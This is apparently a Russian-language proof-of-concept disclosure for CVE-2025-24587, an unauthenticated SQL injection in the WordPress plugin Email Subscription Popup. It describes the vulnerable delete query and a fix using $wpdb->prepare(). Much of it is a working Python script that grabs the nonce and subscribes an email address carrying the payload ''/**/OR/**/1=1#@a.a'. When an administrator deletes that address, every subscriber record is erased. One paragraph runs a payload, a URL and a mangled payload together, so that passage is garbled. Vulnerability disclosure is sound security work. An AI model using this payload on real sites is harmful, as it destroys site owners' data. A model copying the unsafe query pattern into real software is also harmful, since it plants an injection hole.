
PoC of CVE-2025-24587
Плагин WordPress
Название компонента Email Subscription Popup
Уязвимая версия <= 1.2.23
Слаг компонента email-subscribe
Ссылка на компонент https://wordpress.org/plugins/email-subscribe/
Класс уязвимости A3: Injection
Тип уязвимости SQL Injection
Без аутентификации
Неавторизованный пользователь (злоумышленник) подписывается на новостную рассылку, используя адрес электронной почты, содержащий полезную нагрузку SQL-инъекции. Позже, когда администратор переходит на страницу «Управление подписчиками», выбирает вредоносный адрес электронной почты и запрашивает удаление, полезная нагрузка SQL-инъекции, встроенная в адрес электронной почты, выполняется. В результате все адреса электронной почты подписчиков удаляются из базы данных.
poc.py.txt (прилагается) с помощью Python, чтобы подписаться на новостную рассылку адресом электронной почты, содержащим полезную нагрузку, которая вызывает уязвимость SQL-инъекции:
'/**/OR/**/1=1#@a.ahttp://localhost:8080/wp-admin/admin.php?page=email_subscription_popup_subscribers_management.'/****/**OR**/****/1=1#@a.a и нажмите кнопку «Удалить выбранных подписчиков» внизу.[Причина уязвимости]
Эта уязвимость находится в файле wp-content/plugins/email-subscribe/wp-email-subscription.php, а именно между строками 2080 и 2084:
# wp-content/plugins/email-subscribe/wp-email-subscription.php 의
# line 2083 ~ line 2084
$query = "delete from " . $wpdb->prefix . "nl_subscriptions where email='$em'";
$wpdb->query($query);
Чтобы устранить эту проблему, вы можете использовать $wpdb->prepare(), предоставляемый WordPress. Эта функция безопасно экранирует и форматирует переменные, используемые в SQL-запросах, для предотвращения атак SQL-инъекций.
$query = $wpdb->prepare(
"DELETE FROM " . $wpdb->prefix . "nl_subscriptions WHERE email = %s",
$em
);
$wpdb->query($query);
import re
import string
import random
import requests
TARGET = "http://localhost:8080"
def poc():
####
# 1. Retrieve the value of 'sec_string' required for email subscription
####
resp = requests.get(f"{TARGET}")
pattern = r'var nonce = \'(.{10})\';'
match = re.search(pattern, resp.text)
if match:
sec_string = match.group(1)
print("[*] sec_string: " + sec_string)
####
# 2. Generate subscribers with random email addresses
####
random_string = ''.join(random.choices(string.ascii_letters + string.digits, k=6))
for i in range(10):
data = {
"action": "store_email",
"email": f"{random_string}_{i}@example.com",
"name": f"{random_string}_{i}",
"is_agreed": "true",
"sec_string": sec_string
}
print("[+] Successfully created subscriber #" + str(i) + " Email: " + data['email'] + ", Name: " + data['name'])
requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data)
####
# 3. Create a malicious email address to delete all subscriptions
####
data = {
"action": "store_email",
"email": "'/**/OR/**/1=1#@a.a",
"name": "Email mine",
"is_agreed": "true",
"sec_string": sec_string
}
print("[+] Malicious email address created Email: " + data['email'] + ", Name: " + data['name'])
requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data)
else:
print("[-] 'sec_string' not found")
if __name__ == "__main__":
poc()